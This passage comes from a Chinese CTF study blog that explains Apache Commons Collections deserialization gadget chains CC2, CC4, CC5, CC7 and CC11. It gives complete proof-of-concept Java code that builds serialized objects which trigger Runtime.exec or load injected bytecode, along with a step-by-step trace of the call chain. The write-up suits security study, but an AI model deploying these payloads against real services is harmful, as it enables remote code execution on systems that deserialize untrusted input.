Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
//由于还没进行反序列化,所以手动给_tfactory赋值
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class tc=transformingComparator.getClass();
Field comparator = tc.getDeclaredField("transformer");
comparator.setAccessible(true);
comparator.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}


从chainedtransformer那里开始改动一小部分,那么思路也就回到了如何调用transform方法上了:
image.png
TransformingComparator.compare方法中调用,因此跟进看看谁调用了compare:
image.png
PriorityQueue.siftUpUsingComparator中调用,继续看谁调用了siftUpUsingComparator
image.png
在该类的siftDown调用,继续找:
image.png
在heapify方法调用siftDown,继续:
image.png
在readObject里调用了heapify,流程结束
image.png

1X2.5 CC2

CC2与CC4不同的地方就是后半些许不同,没有用chainedtrainsform,直接用invokertransformer
POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;


public class CC2 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates=new TemplatesImpl();
Class c= TemplatesImpl.class;
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Boogipop");
Field bytecodes = c.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("E:\\\\CTF学习笔记\\\\Java\\\\CC1-NEW\\\\target\\\\classes\\\\EXEC.class"));
byte[][] codes={code};
bytecodes.set(templates,codes);
// 由于还没进行反序列化,所以手动给_tfactory赋值
// Field tfactory = c.getDeclaredField("_tfactory");
// tfactory.setAccessible(true);
// tfactory.set(templates,new TransformerFactoryImpl());
//
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer(1));
PriorityQueue priorityQueue=new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class tc=transformingComparator.getClass();
Field comparator = tc.getDeclaredField("transformer");
comparator.setAccessible(true);
comparator.set(transformingComparator,invokerTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception {
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
Object obj=ois.readObject();
return obj;
}
}


流程分析:
也就是CC4后半条链直接调用了invokertransformer,并且我们需要手动把templates放进add方法:
image.png
image.png
都是传入了一个泛型E e,然后进入了siftUp方法,这个e实际就是传入的templates:
image.png
最后调用comparator.compare(x, (E) e),在这里comparator已经是TransformingComparator
image.png
transformer就是invokertransformer,然后obj就是上面compare里传入的templates,也就触发了invokertransformer.transform(templates),命令执行
分析完毕
image.png

1X2.6 CC5

接下来讲的CC5和CC7其实都是在CC6的基础上修改了一些地方而已
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5 {
public static void main(String[] args) throws ClassNotFoundException, IllegalAccessException, NoSuchFieldException {

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map innerMap = new HashMap();
Map lazymap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tiedmap = new TiedMapEntry(lazymap,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
//序列化,反序列化
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5.bin"));
outputStream.writeObject(poc);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5.bin"));
inputStream.readObject();
}catch(Exception e) {
e.printStackTrace();
}
}
}

怎么说呢,版本就是JDK1.8,然后对于commoncollections版本要求大概就是3.2,3.1这样子(3.2.1和3.1均可)
其实也就2个地方不同BadAttributeValueExpException.readObject->TiedMapEntry.toString(),就前面这2个地方和CC6略微有所不同,后半部分大部分完全一致
image.png
BadAttributeValueExpException的readObject中调用了valObj的toString:
我们只需要让valObj为TiedMapEntry即可触发TiedMapEntry.toString
image.png
这里只需要反射获取val属性,修改为TiedMapEntry即可,之后进入了TiedMapEntry.toString
image.png
进入getvalue:
image.png
调用LazyMap.get,接下来一样的流程

1X2.7 CC7

CC7也大同小异
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.test;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {


// Reusing transformer chain and LazyMap gadgets from previous payloads
final String[] execArgs = new String[]{"calc"};

final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
execArgs),
new ConstantTransformer(1)};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
// Reflections.setFieldValue(transformerChain, "iTransformers", transformers);

// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test1.out"));
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();

ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test1.out"));
objectInputStream.readObject();
// return hashtable;
}
}

也是分析了一会儿,也是前2个地方不同:
Hashtable.readObject->Hashtable.reconstitutionPut->Abstracecorator.equal->AbstractMap.equals虽然说看起来好像是四个步骤,但是其实equals这里,首先是调用LazyMap.equals,然后Lazymap没有一直找父类找到了AbstractMap.equals
来分析一下就好了,首先看到readObject:
image.png
在最低下调用了reconstitutionput继续跟进:
image.png
调用了e.key.equals,这里就需要整理一下这个key究竟是什么了,我们溯源一下(过程太繁琐就不一步步的说)最终在WriteObject里可以看到:
image.png
其实key就是我们第一次put进去的key,为什么需要put两次呢?
image.png
第一次进入reconstitution时,tab[index]是未赋值的,因此为null,进入不了for循环内,第二次put就可以进入for循环,此时e.key就是LazyMap1,key就是LazyMap2
然后就调用lazymap1.equals(lazymap2),由于lazymap没有equals方法,一直回溯就到了abstractmap.equals:
image.png
这个m就是lazymap2:
image.png
因此就调用了Lazymap2.get,后半部分就和CC6一样了,没啥好说的

为什么需要remove LazyMap2的yy键呢?
image.png
在HashTable的put方法也会调用一次equals! entry就是tab[index]也是第二次put生效,因此,然后和CC6是一个问题,分析一下LazyMap.get:
image.png
此时这个key是yy(感兴趣的可以自己去往上追溯,很好分析,算了还是讲一下吧)为什么是yy呢?我们一步步跟进:
image.png
AbstractMap里的key是什么呢:
image.png
由于我们是先调用了HashMap里的equals,最后才到的AbstractMap,因此这个entryset也就是HashMap的,LazyMap1里放的就是HashMap1,里面的键是yy,因此为yy
说完了为什么是yy后,就继续分析,因为我们的LazyMap2里并没有yy这个键,所以会进入if添加一个yy,所以当反序列化的时候就不会进入if判断了,因此需要remove掉

最后一个疑惑点,为什么是yy和zZ呢?
同样的还是 reconstitutionPut 函数里的问题,前面说到我们会 put 两次,那么自然 index 这里计算也会进行两次,那么如果第一次和第二次计算出来的 hash 值不同,那么 index 就会不同,就会导致在第二次中 tab 中会找不到值,从而 e 为 null,自然不会进入 for 循环,就不会触发 RCE
image.png
我们需要让程序以为2次put的tab是同一个才能进入这个for循环,进而rce
还有就是为什么只有yy和zZ可以相同,这是java的一个小bug,yy和zZ的hashCode值是一样的:
image.png
image.png
分析告一段落拉
image.png

1X2.8 CC11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;

@SuppressWarnings("all")
public class cc11 {
public static void main(String[] args) throws Exception {

// 利用javasist动态创建恶意字节码
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错

// 写入.class 文件
// 将我的恶意类转成字节码,并且反射设置 bytecodes
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();

Field f0 = templates.getClass().getDeclaredField("_bytecodes");
f0.setAccessible(true);
f0.set(templates,targetByteCodes);

f0 = templates.getClass().getDeclaredField("_name");
f0.setAccessible(true);
f0.set(templates,"name");

f0 = templates.getClass().getDeclaredField("_class");
f0.setAccessible(true);
f0.set(templates,null);

InvokerTransformer transformer = new InvokerTransformer("asdfasdfasdf", new Class[0], new Object[0]);
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,transformer);
TiedMapEntry tiedmap = new TiedMapEntry(map,templates);
HashSet hashset = new HashSet(1);
hashset.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap hashset_map = (HashMap) f.get(hashset);

Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[])f2.get(hashset_map);

Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node,tiedmap);

Field f3 = transformer.getClass().getDeclaredField("iMethodName");
f3.setAccessible(true);
f3.set(transformer,"newTransformer");

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc11"));
outputStream.writeObject(hashset);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc11"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}


具体分析参考:http://wjlshare.com/archives/1536

JDBC反序列化

反弹shell解惑:

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF#反序列化#CC链